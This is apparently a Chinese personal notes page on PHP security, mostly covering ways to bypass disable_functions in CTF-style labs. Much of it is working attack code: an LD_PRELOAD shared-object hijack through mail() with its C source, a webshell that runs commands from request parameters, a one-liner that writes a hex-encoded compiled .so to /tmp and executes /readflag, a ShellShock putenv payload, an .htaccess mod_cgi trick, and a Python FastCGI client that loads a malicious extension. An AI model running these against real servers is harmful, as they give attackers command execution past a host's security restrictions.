php-安全知识点·杂记🤹
若有侵权,请联系删除修改 fe1w0
php_protocol
https://www.php.net/manual/zh/wrappers.php
巧用利用filter compress.bzip2://
与 phar://
绕过die
其他 php 标签与版本问题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 When php parse a file,it looks for opening and closing tag.php parser interpreting the code between opening and closing tag and allows php to be embedded in all shorts of different documents.Outside of opening and closing tag is ignored by the php parser. Now php recommended you to use only two tags. 1.Standard tag which is <?php echo "I'm Standard tag"; ?> 2.Short echo tag which is <?= "I'm Short echo tag"; ?> Both are not affected by php ini configuration file directive. Although php also allow short open tag which is discoursed but still available if php was configured with --enable-short-tags or short_open_tag is enabled in php ini configuration file directive. if you want to use php in combination with xml,you can disable short_open_tag in order to use <?xml ?> inline. Otherwise, you can print it with PHP, for example: <?php echo '<?xml version="1.0"?>'; ?> short_echo_tag also affected the short echo tag before 5.4.0 since 5.4.0,short echo tag is always available. asp tag <% %> and <%= > are removed from php 7 script tag <script language="php"> <script/> also removed from php 7 It is preferable to omit the closing tag if a file only contain the php code. <?php echo "a statement"; echo "another statement"; It prevent unwanted whitespace or new line being added after the closing tag. --happy-gazi|php-
from https://www.php.net/manual/en/language.basic-syntax.phptags.php
特殊构造webshell
refer:
https://github.com/EddieIvan01/Generate_Char_By_Xor
利用无字母来构造webshell 利用数学计算符号来构造webshell PHP-Parametric-Function-RCE https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
webshell 结构与其他问题 assert
主要记录这一点的原因是 assert
可拼接执行与php 版本间的关系
1 2 3 $a = $_GET[1 ]; $b = $_GET[2 ]; $b($a);
对于这种结构的代码,assert 在 PHP版本低于 7.1
的版本可以正常使用,还是被认为是函数,而非是语言结构(类似eval
)。
测试的环境
1 2 php5.2.17nts php5.4.45nts php5.6.9nts php7.0.9nts.log php7.2.9nts php7.3.4nts php7.4.3nts php5.3.29nts php5.5.9nts php7.0.9nts php7.1.9nts php7.3.9nts
bypass disable_function 🥙
refer&&learn:[不全]
https://www.anquanke.com/post/id/208451
https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E8%B0%88%E5%87%A0%E7%A7%8DBypass-disable-functions%E7%9A%84%E6%96%B9%E6%B3%95/#0x01-disable-functions
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
https://blog.bi0s.in/2019/10/26/Web/bypass-disable-functions/
https://www.freebuf.com/web/192052.html [推荐]
0x01 LD_PRELOAD 0x0a 劫持函数 LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
from https://blog.csdn.net/chen_jianjian/article/details/80627693
mail.php
1 2 3 <?php mail('' ,'' ,'' ,'' ); ?>
1 2 apt install strace -y apt install binutils -y
查看启动的子进程,注意要新开一个execve
1 2 3 4 5 6 7 root@7fda2fc3e457:/app/2020_11_5_bypass_disable_function execve("/usr/bin/php" , ["php" , "mail.php" ], 0x7ffc182d8a70 /* 26 vars */) = 0 [pid 1500] execve("/bin/sh" , ["sh" , "-c" , "/usr/sbin/sendmail -t -i" ], 0x560324ddee70 /* 26 vars */ <unfinished ...> [pid 1500] <... execve resumed> ) = 0 [pid 1501] execve("/usr/sbin/sendmail" , ["/usr/sbin/sendmail" , "-t" , "-i" ], 0x55af273c6bd0 /* 25 vars */ <unfinished ...> [pid 1501] <... execve resumed> ) = 0 [pid 1502] execve("/usr/sbin/postdrop" , ["/usr/sbin/postdrop" , "-r" ], 0x55ae359c43e0 /* 2 vars */) = 0
查看sendmail使用了哪些函数
1 readelf -s /usr/sbin/sendmail
使用geteuid@GLIBC_2.2.5 (3)
,编写so文件 test.c
1 2 3 4 5 6 7 8 9 10 11 12 #include <stdlib.h> #include <stdio.h> #include <string.h> void payload () { system("whoami > /tmp/fe1w0" ); } int getuid () { if (getenv("LD_PRELOAD" )==NULL ){ return 0 ;} unsetenv("LD_PRELOAD" ); payload(); }
编译生成
1 gcc -c -fPIC test.c -o hack && gcc --share hack -o hack.so
之后利用putenv
将变量添加到服务器
1 2 3 4 <?php putenv("LD_PRELOAD=./hack.so" ); mail('' ,'' ,'' ,'' ); ?>
之后成功执行payload
1 2 root@7fda2fc3e457:~ www-data
0x0b 劫持共享对象 此外,可以看一下yangyangwithgnu师傅的基于劫持启动进程的bypass_disablefunc_via_LD_PRELOAD
核心知识点:
GCC 有个 C 语言扩展修饰符 attribute ((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 attribute ((constructor)) 修饰的函数 from https://www.freebuf.com/web/192052.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>" ; $cmd = $_GET["cmd" ]; $out_path = $_GET["outpath" ]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1" ; echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>" ; putenv("EVIL_CMDLINE=" . $evil_cmdline); $so_path = $_GET["sopath" ]; putenv("LD_PRELOAD=" . $so_path); mail("" , "" , "" , "" ); echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>" ; unlink($out_path); ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> extern char ** environ;__attribute__ ((__constructor__)) void preload (void ) { const char * cmdline = getenv("EVIL_CMDLINE" ); int i; for (i = 0 ; environ[i]; ++i) { if (strstr (environ[i], "LD_PRELOAD" )) { environ[i][0 ] = '\0' ; } } system(cmdline); }
代码解析
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
https://www.freebuf.com/vuls/227684.html 推荐
也可以直接执行
1 file_put_contents('/tmp/1.so' ,pack('H*' ,'7f454c4602010100000000000000000003003e0001000000c006000000000000400000000000000028140000000000000000000040003800060040001c001900010000000500000000000000000000000000000000000000000000000000000004090000000000000409000000000000000020000000000001000000060000000809000000000000080920000000000008092000000000005802000000000000600200000000000000002000000000000200000006000000280900000000000028092000000000002809200000000000c001000000000000c0010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050e57464040000008408000000000000840800000000000084080000000000001c000000000000001c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000040000001400000003000000474e550066bb9e247f3731670b5cdfd534ac53233e576aef00000000030000000d000000010000000600000088c22001001440090d0000000f000000110000004245d5ecbbe3927cd871581cb98df10eead3ef0e6d1287c2000000000000000000000000000000000000000000000000000000000000000003000900380600000000000000000000000000007d00000012000000000000000000000000000000000000001c00000020000000000000000000000000000000000000008b00000012000000000000000000000000000000000000009d00000021000000000000000000000000000000000000000100000020000000000000000000000000000000000000009e00000011000000000000000000000000000000000000006100000020000000000000000000000000000000000000009c0000001100000000000000000000000000000000000000380000002000000000000000000000000000000000000000520000002200000000000000000000000000000000000000840000001200000000000000000000000000000000000000a600000010001600600b2000000000000000000000000000b900000010001700680b2000000000000000000000000000ad00000010001700600b20000000000000000000000000001000000012000900380600000000000000000000000000001600000012000c00600800000000000000000000000000007500000012000b00c0070000000000009d00000000000000005f5f676d6f6e5f73746172745f5f005f696e6974005f66696e69005f49544d5f64657265676973746572544d436c6f6e655461626c65005f49544d5f7265676973746572544d436c6f6e655461626c65005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573007072656c6f616400676574656e76007374727374720073797374656d006c6962632e736f2e36005f5f656e7669726f6e005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e3500000000000200000002000200000002000000020000000200020001000100010001000100010001000100920000001000000000000000751a690900000200be00000000000000080920000000000008000000000000009007000000000000180920000000000008000000000000005007000000000000580b2000000000000800000000000000580b200000000000100920000000000001000000120000000000000000000000e80a20000000000006000000030000000000000000000000f00a20000000000006000000060000000000000000000000f80a20000000000006000000070000000000000000000000000b20000000000006000000080000000000000000000000080b200000000000060000000a0000000000000000000000100b200000000000060000000b0000000000000000000000300b20000000000007000000020000000000000000000000380b20000000000007000000040000000000000000000000400b20000000000007000000060000000000000000000000480b200000000000070000000b0000000000000000000000500b200000000000070000000c00000000000000000000004883ec08488b05ad0420004885c07405e8430000004883c408c30000000000000000000000000000ff35ba042000ff25bc0420000f1f4000ff25ba0420006800000000e9e0ffffffff25b20420006801000000e9d0ffffffff25aa0420006802000000e9c0ffffffff25a20420006803000000e9b0ffffffff259a0420006804000000e9a0ffffff488d3d99042000488d0599042000554829f84889e54883f80e7615488b05060420004885c074095dffe0660f1f4400005dc366666666662e0f1f840000000000488d3d59042000488d3552042000554829fe4889e548c1fe034889f048c1e83f4801c648d1fe7418488b05d90320004885c0740c5dffe0660f1f8400000000005dc366666666662e0f1f840000000000803d0904200000752748833daf03200000554889e5740c488b3dea032000e82dffffffe848ffffff5dc605e003200001f3c366666666662e0f1f840000000000488d3d8901200048833f00750be95effffff660f1f440000488b05510320004885c074e9554889e5ffd05de940ffffff554889e54883ec10488d3d9a000000e89cfeffff488945f0c745fc00000000eb4f488b0510032000488b008b55fc4863d248c1e2034801d0488b00488d35740000004889c7e8a6feffff4885c0741d488b05e2022000488b008b55fc4863d248c1e2034801d0488b00c600008345fc01488b05c1022000488b008b55fc4863d248c1e2034801d0488b004885c07592488b45f04889c7e825feffffc9c30000004883ec084883c408c34556494c5f434d444c494e45004c445f5052454c4f414400000000011b033b1800000002000000dcfdffff340000003cffffff5c0000001400000000000000017a5200017810011b0c070890010000240000001c000000a0fdffff60000000000e10460e184a0f0b770880003f1a3b2a332422000000001c00000044000000d8feffff9d00000000410e108602430d0602980c0708000000000000000000009007000000000000000000000000000050070000000000000000000000000000010000000000000092000000000000000c0000000000000038060000000000000d000000000000006008000000000000190000000000000008092000000000001b0000000000000010000000000000001a0000000000000018092000000000001c000000000000000800000000000000f5feff6f00000000b8010000000000000500000000000000c0030000000000000600000000000000f8010000000000000a00000000000000ca000000000000000b0000000000000018000000000000000300000000000000180b20000000000002000000000000007800000000000000140000000000000007000000000000001700000000000000c0050000000000000700000000000000d0040000000000000800000000000000f00000000000000009000000000000001800000000000000feffff6f00000000b004000000000000ffffff6f000000000100000000000000f0ffff6f000000008a04000000000000f9ffff6f0000000003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000280920000000000000000000000000000000000000000000760600000000000086060000000000009606000000000000a606000000000000b606000000000000580b2000000000004743433a202844656269616e20342e392e322d31302b6465623875322920342e392e3200002e73796d746162002e737472746162002e7368737472746162002e6e6f74652e676e752e6275696c642d6964002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e696e69745f6172726179002e66696e695f6172726179002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e740000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200b80100000000000000000000000000000000000003000300f80100000000000000000000000000000000000003000400c003000000000000000000000000000000000000030005008a0400000000000000000000000000000000000003000600b00400000000000000000000000000000000000003000700d00400000000000000000000000000000000000003000800c00500000000000000000000000000000000000003000900380600000000000000000000000000000000000003000a00600600000000000000000000000000000000000003000b00c00600000000000000000000000000000000000003000c00600800000000000000000000000000000000000003000d00690800000000000000000000000000000000000003000e00840800000000000000000000000000000000000003000f00a00800000000000000000000000000000000000003001000080920000000000000000000000000000000000003001100180920000000000000000000000000000000000003001200200920000000000000000000000000000000000003001300280920000000000000000000000000000000000003001400e80a20000000000000000000000000000000000003001500180b20000000000000000000000000000000000003001600580b20000000000000000000000000000000000003001700600b2000000000000000000000000000000000000300180000000000000000000000000000000000010000000400f1ff000000000000000000000000000000000c00000001001200200920000000000000000000000000001900000002000b00c00600000000000000000000000000002e00000002000b00000700000000000000000000000000004100000002000b00500700000000000000000000000000005700000001001700600b20000000000001000000000000006600000001001100180920000000000000000000000000008d00000002000b0090070000000000000000000000000000990000000100100008092000000000000000000000000000b80000000400f1ff00000000000000000000000000000000010000000400f1ff00000000000000000000000000000000cd00000001000f0000090000000000000000000000000000db0000000100120020092000000000000000000000000000000000000400f1ff00000000000000000000000000000000e700000001001600580b2000000000000000000000000000f40000000100130028092000000000000000000000000000fd00000001001600600b20000000000000000000000000000901000001001500180b20000000000000000000000000001f01000012000000000000000000000000000000000000003301000020000000000000000000000000000000000000004f01000010001600600b20000000000000000000000000005601000012000c00600800000000000000000000000000005c01000012000000000000000000000000000000000000007001000020000000000000000000000000000000000000007f01000011000000000000000000000000000000000000009401000010001700680b20000000000000000000000000009901000010001700600b2000000000000000000000000000a501000012000b00c0070000000000009d00000000000000ad0100002000000000000000000000000000000000000000c10100001100000000000000000000000000000000000000d80100002000000000000000000000000000000000000000f201000022000000000000000000000000000000000000000e02000012000900380600000000000000000000000000001402000012000000000000000000000000000000000000000063727473747566662e63005f5f4a43525f4c4953545f5f00646572656769737465725f746d5f636c6f6e65730072656769737465725f746d5f636c6f6e6573005f5f646f5f676c6f62616c5f64746f72735f61757800636f6d706c657465642e36363730005f5f646f5f676c6f62616c5f64746f72735f6175785f66696e695f61727261795f656e747279006672616d655f64756d6d79005f5f6672616d655f64756d6d795f696e69745f61727261795f656e747279006279706173735f64697361626c6566756e632e63005f5f4652414d455f454e445f5f005f5f4a43525f454e445f5f005f5f64736f5f68616e646c65005f44594e414d4943005f5f544d435f454e445f5f005f474c4f42414c5f4f46465345545f5441424c455f00676574656e764040474c4942435f322e322e35005f49544d5f64657265676973746572544d436c6f6e655461626c65005f6564617461005f66696e690073797374656d4040474c4942435f322e322e35005f5f676d6f6e5f73746172745f5f00656e7669726f6e4040474c4942435f322e322e35005f656e64005f5f6273735f7374617274007072656c6f6164005f4a765f5265676973746572436c6173736573005f5f656e7669726f6e4040474c4942435f322e322e35005f49544d5f7265676973746572544d436c6f6e655461626c65005f5f6378615f66696e616c697a654040474c4942435f322e322e35005f696e6974007374727374724040474c4942435f322e322e3500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001b0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002e000000f6ffff6f0200000000000000b801000000000000b8010000000000003c00000000000000030000000000000008000000000000000000000000000000380000000b0000000200000000000000f801000000000000f801000000000000c80100000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000c003000000000000c003000000000000ca0000000000000000000000000000000100000000000000000000000000000048000000ffffff6f02000000000000008a040000000000008a04000000000000260000000000000003000000000000000200000000000000020000000000000055000000feffff6f0200000000000000b004000000000000b004000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000d004000000000000d004000000000000f0000000000000000300000000000000080000000000000018000000000000006e000000040000004200000000000000c005000000000000c0050000000000007800000000000000030000000a0000000800000000000000180000000000000078000000010000000600000000000000380600000000000038060000000000001a00000000000000000000000000000004000000000000000000000000000000730000000100000006000000000000006006000000000000600600000000000060000000000000000000000000000000100000000000000010000000000000007e000000010000000600000000000000c006000000000000c0060000000000009d01000000000000000000000000000010000000000000000000000000000000840000000100000006000000000000006008000000000000600800000000000009000000000000000000000000000000040000000000000000000000000000008a00000001000000020000000000000069080000000000006908000000000000180000000000000000000000000000000100000000000000000000000000000092000000010000000200000000000000840800000000000084080000000000001c00000000000000000000000000000004000000000000000000000000000000a0000000010000000200000000000000a008000000000000a0080000000000006400000000000000000000000000000008000000000000000000000000000000aa0000000e0000000300000000000000080920000000000008090000000000001000000000000000000000000000000008000000000000000000000000000000b60000000f0000000300000000000000180920000000000018090000000000000800000000000000000000000000000008000000000000000000000000000000c2000000010000000300000000000000200920000000000020090000000000000800000000000000000000000000000008000000000000000000000000000000c700000006000000030000000000000028092000000000002809000000000000c001000000000000040000000000000008000000000000001000000000000000d0000000010000000300000000000000e80a200000000000e80a0000000000003000000000000000000000000000000008000000000000000800000000000000d5000000010000000300000000000000180b200000000000180b0000000000004000000000000000000000000000000008000000000000000800000000000000de000000010000000300000000000000580b200000000000580b0000000000000800000000000000000000000000000008000000000000000000000000000000e4000000080000000300000000000000600b200000000000600b0000000000000800000000000000000000000000000001000000000000000000000000000000e90000000100000030000000000000000000000000000000600b0000000000002400000000000000000000000000000001000000000000000100000000000000110000000300000000000000000000000000000000000000840b000000000000f200000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000780c00000000000088050000000000001b0000002b0000000800000000000000180000000000000009000000030000000000000000000000000000000000000000120000000000002802000000000000000000000000000001000000000000000000000000000000' ));putenv("EVIL_CMDLINE=/readflag > /tmp/flag.txt" );putenv("LD_PRELOAD=/tmp/1.so" );error_log("" ,1 );readfile('/tmp/flag.txt' );
0x0c 其他:
这一点可以看bi0s团队的博客,但可惜的是,没有具体阐述如何使用
链接如下:
https://blog.bi0s.in/2019/10/26/Web/bypass-disable-functions/
https://github.com/tarunkant/fuzzphunc
复现过程如下:[失败]
配置环境:
1 2 3 4 5 6 7 8 9 10 11 sudo apt install -y php-libvirt-php [libvirt] extension=libvirt-php ; Path to ISO images for VM installations libvirt.iso_path=/var/lib/libvirt/images ; Path where disk images for new VMs should be created libvirt.image_path=/var/lib/libvirt/images ; Limit maximum number of libvirt connections libvirt.max_connections=5
检验:
1 2 3 <?php print_r(libvirt_version()); ?>
或者直接phpinfo()
demo-script
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php $logfile = 'test.log' ; unlink($logfile); if (!libvirt_logfile_set($logfile)) die ('Cannot set the log file' ); $conn = libvirt_connect('null' , false ); unset ($conn); $fp = fopen($logfile, 'r' ); $str = fread($fp, filesize($logfile)); fclose($fp); echo $str; ?>
是因为代码运行失败导致只有一个execvr???
Error_report
Failed to connect socket to ‘/var/run/libvirt/libvirt-sock’: No such file or directory
需要 安装kvm
0x02 ShellShock
推荐用Metasploitable2
利用bash破壳漏洞(CVE-2014-6271),该漏洞存在于bash 1.14 – 4.3版本中https://www.cnblogs.com/qmfsun/p/7591757.html
导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令 利用的PHP代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php function shellshock ($cmd ) { $tmp = tempnam("." ,"data" ); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1" ); error_log('a' ,1 ); $output = @file_get_contents($tmp); @unlink($tmp); if ($output != "" ) return $output; else return "No output, or not vuln." ; } echo shellshock($_REQUEST["cmd" ]); ?>
0x03 Apache Mod CGI Apache Mod CGI https://www.docs4dev.com/docs/zh/apache/2.4/reference/howto-cgi.html
禁用函数如下:
1 pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv
比之前多禁用了putenv
这次使用的方法是利用.htaccess,我们通过上传.htaccess来利用apache的mod_cgi来绕过php的限制,这个利用方法在De1CTF checkin出现过 利用条件:
目录下有写权限
apache 使用 apache_mod_php
Web 目录给了 AllowOverride 权限
启用了mod_cgi 配置教程:
https://www.cnblogs.com/hupeng1234/p/8452748.html
首先上传.htaccess
1 2 Options +ExecCGI AddHandler cgi-script .test
之后上传shell.test
1 2 # !/bin/bash echo&&cat /flag
然后访问shell.test
output:
1 2 curl http://127.0.0.1:40080/2020_11_5_bypass_disable_function/Apache_Mod_CGI/shell.sh flag{123456}
0x04 PHP-FPM https://zhuanlan.zhihu.com/p/75114351[推荐]
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html [p神必定推荐,值得学习]
https://www.php.net/manual/zh/book.fpm.php
原理上面的师傅都分析的很好
https://github.com/Medicean/as_bypass_php_disable_functions
此外,推荐看一下下面文章,理清cgi
fastcgi
和php-fpm
三者关系
https://kknews.cc/code/69zkarp.html
https://developer.aliyun.com/article/44947
https://www.awaimai.com/371.html
下面是我个人理解
当启动php-fpm时,请求过程如下
(0) php-fpm 启动,加载php.ini 进行初始化,生成1个master和多个worker进程
(1) 客户端向 web server中间器发送请求;
(2) web server中间器向php-fpm发送fastcgi请求,由worker接受处理
(3)php-fpm worker让php-cgi对请求内容进行解析,并接受返回结果,并一一返回给上一层,直到客户端收到
整理时,主要思路是P神上的思路,即利用对fastgci的通讯,可以修改PHP_VALUE
和PHP_ADMIN_VALUE
,导致通过加载恶意so文件,从而绕过disable_function
而antsword上插件的原理是也是这类思路,但更绝的是,其so文件(就是system 直接命令执行 php -n -S 127.0.0.1:61111 -t /var/www/html/ )会开启一个新端口的web server(-n 不再使用php.ini),同时访问proxy.php(密码还有你原来的密码)进行代理访问,从而绕过disable_function
具体分析:
https://tmr.js.org/p/a63cefbc/
下面是具体复现:
环境:
antswordproject/antsword-labs/5
ssrf 代码 from https://www.mrkaixin.top/posts/6a3f7da8/
用于生成实际与php-fpm链接的协议内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 import socketimport base64import randomimport argparseimport sysfrom io import BytesIOfrom six.moves.urllib import parse as urlparsePY2 = True if sys.version_info.major == 2 else False def bchr (i ): if PY2: return force_bytes(chr(i)) else : return bytes([i]) def bord (c ): if isinstance(c, int): return c else : return ord(c) def force_bytes (s ): if isinstance(s, bytes): return s else : return s.encode('utf-8' , 'strict' ) def force_text (s ): if issubclass(type(s), str): return s if isinstance(s, bytes): s = str(s, 'utf-8' , 'strict' ) else : s = str(s) return s class FastCGIClient : """A Fast-CGI Client for Python""" __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__ (self, host, port, timeout, keepalive ): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else : self.keepalive = 0 self.sock = None self.requests = dict() def __connect (self ): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) try : self.sock.connect((self.host, int(self.port))) except socket.error as msg: self.sock.close() self.sock = None print(repr(msg)) return False return True def __encodeFastCGIRecord (self, fcgi_type, content, requestid ): length = len(content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8 ) & 0xFF ) \ + bchr(requestid & 0xFF ) \ + bchr((length >> 8 ) & 0xFF ) \ + bchr(length & 0xFF ) \ + bchr(0 ) \ + bchr(0 ) \ + content return buf def __encodeNameValueParams (self, name, value ): nLen = len(name) vLen = len(value) record = b'' if nLen < 128 : record += bchr(nLen) else : record += bchr((nLen >> 24 ) | 0x80 ) \ + bchr((nLen >> 16 ) & 0xFF ) \ + bchr((nLen >> 8 ) & 0xFF ) \ + bchr(nLen & 0xFF ) if vLen < 128 : record += bchr(vLen) else : record += bchr((vLen >> 24 ) | 0x80 ) \ + bchr((vLen >> 16 ) & 0xFF ) \ + bchr((vLen >> 8 ) & 0xFF ) \ + bchr(vLen & 0xFF ) return record + name + value def __decodeFastCGIHeader (self, stream ): header = dict() header['version' ] = bord(stream[0 ]) header['type' ] = bord(stream[1 ]) header['requestId' ] = (bord(stream[2 ]) << 8 ) + bord(stream[3 ]) header['contentLength' ] = (bord(stream[4 ]) << 8 ) + bord(stream[5 ]) header['paddingLength' ] = bord(stream[6 ]) header['reserved' ] = bord(stream[7 ]) return header def __decodeFastCGIRecord (self, buffer ): header = buffer.read(int(self.__FCGI_HEADER_SIZE)) if not header: return False else : record = self.__decodeFastCGIHeader(header) record['content' ] = b'' if 'contentLength' in record.keys(): contentLength = int(record['contentLength' ]) record['content' ] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int(record['paddingLength' ])) return record def request (self, nameValuePairs={}, post='' ): requestId = random.randint(1 , (1 << 16 ) - 1 ) self.requests[requestId] = dict() request = b"" beginFCGIRecordContent = bchr(0 ) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0 ) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'' , requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'' , requestId) return request def __waitForResponse (self, requestId ): data = b'' while True : buf = self.sock.recv(512 ) if not len(buf): break data += buf data = BytesIO(data) while True : response = self.__decodeFastCGIRecord(data) if not response: break if response['type' ] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state' ] = FastCGIClient.FCGI_STATE_ERROR if requestId == int(response['requestId' ]): self.requests[requestId]['response' ] += response['content' ] if response['type' ] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response' ] def __repr__ (self ): return "fastcgi connect host:{} port:{}" .format(self.host, self.port) if __name__ == '__main__' : parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.' ) parser.add_argument('host' , help='Target host, such as 127.0.0.1' ) parser.add_argument('file' , help='A php file absolute path, such as /usr/local/lib/php/System.php' ) parser.add_argument('-c' , '--code' , help='What php code your want to execute' , default='<?php phpinfo(); exit; ?>' ) parser.add_argument('-p' , '--port' , help='FastCGI port' , default=9000 , type=int) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3 , 0 ) params = dict() documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE' : 'FastCGI/1.0' , 'REQUEST_METHOD' : 'POST' , 'SCRIPT_FILENAME' : documentRoot + uri.lstrip('/' ), 'SCRIPT_NAME' : uri, 'QUERY_STRING' : '' , 'REQUEST_URI' : uri, 'DOCUMENT_ROOT' : documentRoot, 'SERVER_SOFTWARE' : 'php/fcgiclient' , 'REMOTE_ADDR' : '127.0.0.1' , 'REMOTE_PORT' : '9984' , 'SERVER_ADDR' : '127.0.0.1' , 'SERVER_PORT' : '80' , 'SERVER_NAME' : "localhost" , 'SERVER_PROTOCOL' : 'HTTP/1.1' , 'CONTENT_TYPE' : 'application/text' , 'CONTENT_LENGTH' : "%d" % len(content), 'PHP_ADMIN_VALUE' : 'allow_url_include = On' , 'PHP_VALUE' : 'auto_prepend_file = php://input' , 'PHP_VALUE' : 'extension=/tmp/fe1w0.so' , 'PHP_ADMIN_VALUE' :'extension=/tmp/fe1w0.so' } response = client.request(params, content) result = base64.encodebytes(response).strip().decode('utf-8' ) print(result)
